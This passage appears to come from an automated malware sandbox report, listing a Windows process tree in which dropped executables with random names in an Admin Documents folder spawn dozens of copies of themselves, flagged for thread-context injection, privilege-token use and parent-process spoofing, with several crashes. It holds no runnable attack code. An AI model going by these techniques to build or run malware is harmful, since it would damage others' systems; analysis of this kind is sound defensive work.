C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:6244
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10752
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:3988
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3984 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:2104
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7848
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10684
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7868
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8644
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:6100
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:2604
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:2292
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:5076
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9132
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:3716
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:3392
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:3000
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7516
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:2472
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8468
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9308
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:12884
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:12552
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:13288
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:13252
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:13232
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:13272
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13272 -s 284⤵
- Program crash
PID:7644 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:11768
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10812
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:12684
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12684 -s 284⤵
- Program crash
PID:4408 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:12752
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:1256
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:5164
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7960
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:13868
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:13392
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7792
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10032
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:9200
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10816
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:11672
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:14060
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:11656
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10356
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:13368
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:1372
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:8696
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8696 -s 284⤵
- Program crash
PID:3120 -
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:4244
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10384
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10640
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:12556
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:4664
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:11872
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:13484
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:13928
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:10428
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:11468
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:14260
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:1188
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:11552
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:14284
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:14168
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7328
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:11468
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:7184
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:12116
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:14104
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:13388
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:14536
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:15012
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:14488
-
C:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exeC:\Users\Admin\Documents\x9A7zksb2bNiKlCcEJwaFrCp.exe3⤵PID:14976
-
C:\Users\Admin\Documents\v0EJ9FujNNKwBVFI7ameFHNX.exe"C:\Users\Admin\Documents\v0EJ9FujNNKwBVFI7ameFHNX.exe"2⤵
- Executes dropped EXE
PID:1872 -
C:\Users\Admin\Documents\v0EJ9FujNNKwBVFI7ameFHNX.exe"C:\Users\Admin\Documents\v0EJ9FujNNKwBVFI7ameFHNX.exe" -u3⤵
- Executes dropped EXE
PID:4276 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe"C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1852 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵
- Executes dropped EXE
PID:3500 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵
- Executes dropped EXE
PID:1464 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵
- Executes dropped EXE
PID:1072 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵
- Executes dropped EXE
PID:5792 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵
- Executes dropped EXE
PID:3996 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5944
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:2004
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:256
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:776
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5064
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6824
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6824 -s 284⤵
- Program crash
PID:6464 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5828
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:3844
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5928
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8096
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:7928
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8276
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8476
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8476 -s 284⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7356 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5260
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8436
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:3932
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8912
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6664
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6924
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8116
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:1500
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8780
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:9888
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5100
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:9296
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6252
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5516
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8480
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:4220
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5716
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5400
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10056
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6360
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:4452
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:1252
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10264
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10716
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:11228
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10560
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10992
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8352
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:4872
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:9104
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:4544
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:2488
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10700
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:1244
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8448
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8220
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6796
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:1960
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:7512
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:1936
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5708
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:2596
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8752
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5576
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8580
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8580 -s 284⤵
- Program crash
PID:10536 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:3488
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:7020
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:4056
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6076
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5744
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:1192
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:1756
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:9264
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2940 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:7804
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:10676
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4212 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:8796
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6416
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:6836
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5800
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5800 -s 284⤵
- Program crash
PID:6104 -
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:4856
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:5964
-
C:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exeC:\Users\Admin\Documents\468MAX86kZBlx4ZNrrJVNKK8.exe3⤵PID:4608
-
